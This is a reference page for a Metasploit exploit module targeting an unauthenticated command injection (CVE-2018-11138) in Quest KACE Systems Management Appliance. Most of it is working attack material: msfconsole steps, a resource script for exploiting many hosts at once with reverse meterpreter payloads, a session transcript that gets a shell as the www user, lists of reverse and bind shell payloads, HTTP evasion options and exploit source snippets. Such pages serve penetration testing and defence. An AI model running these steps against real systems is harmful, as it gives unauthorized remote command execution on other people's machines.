Quest KACE Systems Management Command Injection - Metasploit
This page contains detailed information about how to use the exploit/unix/http/quest_kace_systems_management_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Quest KACE Systems Management Command Injection
Module: exploit/unix/http/quest_kace_systems_management_rce
Source code: modules/exploits/unix/http/quest_kace_systems_management_rce.rb
Disclosure date: 2018-05-31
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-11138
This module exploits a command injection vulnerability in
Quest KACE Systems Management Appliance version 8.0.318 (and
possibly prior). The download_agent_installer.php
file
allows unauthenticated users to execute arbitrary commands
as the web server user www
. A valid Organization ID is
required. The default value is 1
. A valid Windows agent
version number must also be provided. If file sharing is
enabled, the agent versions are available within the
\kace.local\client\agent_provisioning\windows_platform
Samba share. Additionally, various agent versions are listed
on the KACE website. This module has been tested
successfully on Quest KACE Systems Management Appliance
K1000 version 8.0 (Build 8.0.318).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using quest_kace_systems_management_rce against a single host
Normally, you can use exploit/unix/http/quest_kace_systems_management_rce this way:
msf > use exploit/unix/http/quest_kace_systems_management_rce
msf exploit(quest_kace_systems_management_rce) > show targets
... a list of targets ...
msf exploit(quest_kace_systems_management_rce) > set TARGET target-id
msf exploit(quest_kace_systems_management_rce) > show options
... show and set options ...
msf exploit(quest_kace_systems_management_rce) > exploit
Using quest_kace_systems_management_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your quest_kace_systems_management_rce will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/http/quest_kace_systems_management_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module exploits a command injection vulnerability in Quest KACE Systems Management Appliance version 8.0.318 (and possibly prior).
The download_agent_installer.php
file allows unauthenticated users
to execute arbitrary commands as the web server user www
.
Vulnerable Application
Quest KACE Systems Management Appliance endpoint systems management solution.
This module has been tested successfully on Quest KACE SMA K1000 version 8.0 (Build 8.0.318).
Verification Steps
- Start
msfconsole
use exploit/unix/http/quest_kace_systems_management_rce
set ORGANIZATION <ORGANIZATION>
(default:1
)set AGENT_VERSION <AGENT_VERSION>
(default:8.0.152
)run
- You should get a session
Options
AGENT_VERSION
A valid Windows agent version must be specified. (default: 8.0.152
)
If file sharing is enabled, the agent versions are available within the
\\kace.local\client\agent_provisioning\windows_platform
Samba share.
Additionally, various agent versions are listed on the KACE website.
ORGANIZATION
Organization ID used within the appliance. (default: 1
)
SERIAL
Serial number for the appliance. By default, the module attempts to
retrieve the serial from /common/about.php
.
Scenarios
msf5 > use exploit/unix/http/quest_kace_systems_management_rce
msf5 exploit(unix/http/quest_kace_systems_management_rce) > set rhost 172.16.123.123
rhost => 172.16.123.123
msf5 exploit(unix/http/quest_kace_systems_management_rce) > check
[*] 172.16.123.123:80 The target appears to be vulnerable.
msf5 exploit(unix/http/quest_kace_systems_management_rce) > set ORGANIZATION 1
ORGANIZATION => 1
msf5 exploit(unix/http/quest_kace_systems_management_rce) > set AGENT_VERSION 8.0.152
AGENT_VERSION => 8.0.152
msf5 exploit(unix/http/quest_kace_systems_management_rce) > run
[*] Started reverse TCP handler on 172.16.123.188:4444
[*] Sending payload (505 bytes)
[+] Payload executed successfully
[!] Tried to delete /tmp/agentprov/1#;/, unknown result
492648046
kYWSsqpLmmERqEpLazwFOTzulPvsvShY
/kbox/kboxwww/common
EfiuBIzdwhsSLfEpgHrRjbgjszjCkfhf
ZGtYicImqwCnmUNGBZTpqDSPXojYXjkd
jCmxJgLnffuOAlsAFmWygrbOhCWPCNzD
id
uid=80(www) gid=80(www) groups=80(www)
uname -a
FreeBSD k1000 11.0-RELEASE-p12 FreeBSD 11.0-RELEASE-p12 #0: Wed Aug 9 10:03:39 UTC 2017 [email protected]:/usr/obj/usr/src/sys/GENERIC amd64
^C
Abort session 1? [y/N] y
[*] 172.16.123.123 - Command shell session 1 closed. Reason: User exit
Go back to menu.
Msfconsole Usage
Here is how the unix/http/quest_kace_systems_management_rce exploit module looks in the msfconsole:
msf6 > use exploit/unix/http/quest_kace_systems_management_rce
msf6 exploit(unix/http/quest_kace_systems_management_rce) > show info
Name: Quest KACE Systems Management Command Injection
Module: exploit/unix/http/quest_kace_systems_management_rce
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-05-31
Provided by:
Leandro Barragan
Guido Leo
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
AGENT_VERSION 8.0.152 yes Windows agent version
ORGANIZATION 1 yes Organization ID
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SERIAL no Serial number
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Avoid: 2 characters
Description:
This module exploits a command injection vulnerability in Quest KACE
Systems Management Appliance version 8.0.318 (and possibly prior).
The `download_agent_installer.php` file allows unauthenticated users
to execute arbitrary commands as the web server user `www`. A valid
Organization ID is required. The default value is `1`. A valid
Windows agent version number must also be provided. If file sharing
is enabled, the agent versions are available within the
`\kace.local\client\agent_provisioning\windows_platform` Samba
share. Additionally, various agent versions are listed on the KACE
website. This module has been tested successfully on Quest KACE
Systems Management Appliance K1000 version 8.0 (Build 8.0.318).
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-11138
https://support.quest.com/product-notification/noti-00000134
https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities
Module Options
This is a complete list of options available in the unix/http/quest_kace_systems_management_rce exploit:
msf6 exploit(unix/http/quest_kace_systems_management_rce) > show options
Module options (exploit/unix/http/quest_kace_systems_management_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AGENT_VERSION 8.0.152 yes Windows agent version
ORGANIZATION 1 yes Organization ID
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SERIAL no Serial number
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the unix/http/quest_kace_systems_management_rce exploit:
msf6 exploit(unix/http/quest_kace_systems_management_rce) > show advanced
Module advanced options (exploit/unix/http/quest_kace_systems_management_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/http/quest_kace_systems_management_rce module can exploit:
msf6 exploit(unix/http/quest_kace_systems_management_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/http/quest_kace_systems_management_rce exploit:
msf6 exploit(unix/http/quest_kace_systems_management_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
3 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
4 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
Evasion Options
Here is the full list of possible evasion options supported by the unix/http/quest_kace_systems_management_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/http/quest_kace_systems_management_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Connection failed
- Remote host is not a Quest KACE appliance
- Could not determine KACE appliance version
- Target is not vulnerable
- Could not retrieve appliance serial number. Try specifying a SERIAL.
- Connection failed
- Unexpected reply
- The specified AGENT_VERSION is not valid for the specified ORGANIZATION
- error.php
- Server encountered an error
- The specified SERIAL is incorrect
- Unexpected reply
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
67: end
68:
69: def check
70: res = send_request_cgi('uri' => normalize_uri('common', 'download_agent_installer.php'))
71: unless res
72: vprint_error 'Connection failed'
73: return CheckCode::Unknown
74: end
75:
76: unless res.code == 302 && res.headers.to_s.include?('X-KACE-Appliance')
77: vprint_status 'Remote host is not a Quest KACE appliance'
Remote host is not a Quest KACE appliance
Here is a relevant code snippet related to the "Remote host is not a Quest KACE appliance" error message:
72: vprint_error 'Connection failed'
73: return CheckCode::Unknown
74: end
75:
76: unless res.code == 302 && res.headers.to_s.include?('X-KACE-Appliance')
77: vprint_status 'Remote host is not a Quest KACE appliance'
78: return CheckCode::Safe
79: end
80:
81: unless res.headers['X-KACE-Version'] =~ /\A([0-9]+)\.([0-9]+)\.([0-9]+)\z/
82: vprint_error 'Could not determine KACE appliance version'
Could not determine KACE appliance version
Here is a relevant code snippet related to the "Could not determine KACE appliance version" error message:
77: vprint_status 'Remote host is not a Quest KACE appliance'
78: return CheckCode::Safe
79: end
80:
81: unless res.headers['X-KACE-Version'] =~ /\A([0-9]+)\.([0-9]+)\.([0-9]+)\z/
82: vprint_error 'Could not determine KACE appliance version'
83: return CheckCode::Detected
84: end
85:
86: version = Rex::Version.new res.headers['X-KACE-Version'].to_s
87: vprint_status "Found KACE appliance version #{version}"
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
109: end
110:
111: def exploit
112: check_code = check
113: unless [CheckCode::Appears, CheckCode::Detected].include? check_code
114: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
115: end
116:
117: serial = serial_number
118: if serial.to_s.eql? ''
119: print_error 'Could not retrieve appliance serial number. Try specifying a SERIAL.'
Could not retrieve appliance serial number. Try specifying a SERIAL.
Here is a relevant code snippet related to the "Could not retrieve appliance serial number. Try specifying a SERIAL." error message:
114: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
115: end
116:
117: serial = serial_number
118: if serial.to_s.eql? ''
119: print_error 'Could not retrieve appliance serial number. Try specifying a SERIAL.'
120: return
121: end
122: vprint_status "Using serial number: #{serial}"
123:
124: print_status "Sending payload (#{payload.encoded.length} bytes)"
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
134: 'uri' => normalize_uri('common', 'download_agent_installer.php'),
135: 'vars_get' => vars_get
136: }, 10)
137:
138: unless res
139: fail_with Failure::Unreachable, 'Connection failed'
140: end
141:
142: unless res.headers.to_s.include?('KACE') || res.headers.to_s.include?('KBOX')
143: fail_with Failure::UnexpectedReply, 'Unexpected reply'
144: end
Unexpected reply
Here is a relevant code snippet related to the "Unexpected reply" error message:
138: unless res
139: fail_with Failure::Unreachable, 'Connection failed'
140: end
141:
142: unless res.headers.to_s.include?('KACE') || res.headers.to_s.include?('KBOX')
143: fail_with Failure::UnexpectedReply, 'Unexpected reply'
144: end
145:
146: case res.code
147: when 200
148: print_good 'Payload executed successfully'
The specified AGENT_VERSION is not valid for the specified ORGANIZATION
Here is a relevant code snippet related to the "The specified AGENT_VERSION is not valid for the specified ORGANIZATION" error message:
145:
146: case res.code
147: when 200
148: print_good 'Payload executed successfully'
149: when 404
150: fail_with Failure::BadConfig, 'The specified AGENT_VERSION is not valid for the specified ORGANIZATION'
151: when 302
152: if res.headers['location'].include? 'error.php'
153: fail_with Failure::UnexpectedReply, 'Server encountered an error'
154: end
155: fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'
error.php
Here is a relevant code snippet related to the "error.php" error message:
147: when 200
148: print_good 'Payload executed successfully'
149: when 404
150: fail_with Failure::BadConfig, 'The specified AGENT_VERSION is not valid for the specified ORGANIZATION'
151: when 302
152: if res.headers['location'].include? 'error.php'
153: fail_with Failure::UnexpectedReply, 'Server encountered an error'
154: end
155: fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'
156: else
157: print_error 'Unexpected reply'
Server encountered an error
Here is a relevant code snippet related to the "Server encountered an error" error message:
148: print_good 'Payload executed successfully'
149: when 404
150: fail_with Failure::BadConfig, 'The specified AGENT_VERSION is not valid for the specified ORGANIZATION'
151: when 302
152: if res.headers['location'].include? 'error.php'
153: fail_with Failure::UnexpectedReply, 'Server encountered an error'
154: end
155: fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'
156: else
157: print_error 'Unexpected reply'
158: end
The specified SERIAL is incorrect
Here is a relevant code snippet related to the "The specified SERIAL is incorrect" error message:
150: fail_with Failure::BadConfig, 'The specified AGENT_VERSION is not valid for the specified ORGANIZATION'
151: when 302
152: if res.headers['location'].include? 'error.php'
153: fail_with Failure::UnexpectedReply, 'Server encountered an error'
154: end
155: fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'
156: else
157: print_error 'Unexpected reply'
158: end
159:
160: register_dir_for_cleanup "/tmp/agentprov/#{datastore['ORGANIZATION']}#;/"
Unexpected reply
Here is a relevant code snippet related to the "Unexpected reply" error message:
152: if res.headers['location'].include? 'error.php'
153: fail_with Failure::UnexpectedReply, 'Server encountered an error'
154: end
155: fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'
156: else
157: print_error 'Unexpected reply'
158: end
159:
160: register_dir_for_cleanup "/tmp/agentprov/#{datastore['ORGANIZATION']}#;/"
161: end
162: end
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11234 Merged Pull Request: revisionism
- #10199 Merged Pull Request: Add Quest KACE Systems Management Command Injection
References
- CVE-2018-11138
- https://support.quest.com/product-notification/noti-00000134
- https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities
See Also
Check also the following modules related to this module:
- exploit/unix/http/cacti_filter_sqli_rce
- exploit/unix/http/contentkeeperweb_mimencode
- exploit/unix/http/ctek_skyrouter
- exploit/unix/http/dell_kace_k1000_upload
- exploit/unix/http/epmp1000_get_chart_cmd_shell
- exploit/unix/http/epmp1000_ping_cmd_shell
- exploit/unix/http/freepbx_callmenum
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/unix/http/lifesize_room
- exploit/unix/http/pfsense_clickjacking
- exploit/unix/http/pfsense_diag_routes_webshell
- exploit/unix/http/pfsense_graph_injection_exec
- exploit/unix/http/pfsense_group_member_exec
- exploit/unix/http/pfsense_pfblockerng_webshell
- exploit/unix/http/pihole_blocklist_exec
- exploit/unix/http/pihole_dhcp_mac_exec
- exploit/unix/http/pihole_whitelist_exec
- exploit/unix/http/schneider_electric_net55xx_encoder
- exploit/unix/http/tnftp_savefile
- exploit/unix/http/twiki_debug_plugins
- exploit/unix/http/vmturbo_vmtadmin_exec_noauth
- exploit/unix/http/xdebug_unauth_exec
- exploit/unix/http/zivif_ipcheck_exec
- exploit/linux/misc/quest_pmmasterd_bof
- exploit/multi/browser/firefox_proto_crmfrequest
- exploit/multi/http/rocket_servergraph_file_requestor_rce
- exploit/windows/browser/clear_quest_cqole
- exploit/windows/browser/novelliprint_executerequest
- exploit/windows/browser/novelliprint_executerequest_dbg
- exploit/windows/http/cogent_datahub_request_headers_bof
- exploit/windows/http/php_apache_request_headers_bof
- exploit/windows/misc/citrix_streamprocess_get_boot_record_request
- auxiliary/scanner/sap/sap_router_info_request
- post/windows/wlan/wlan_probe_request
Authors
- Leandro Barragan
- Guido Leo
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.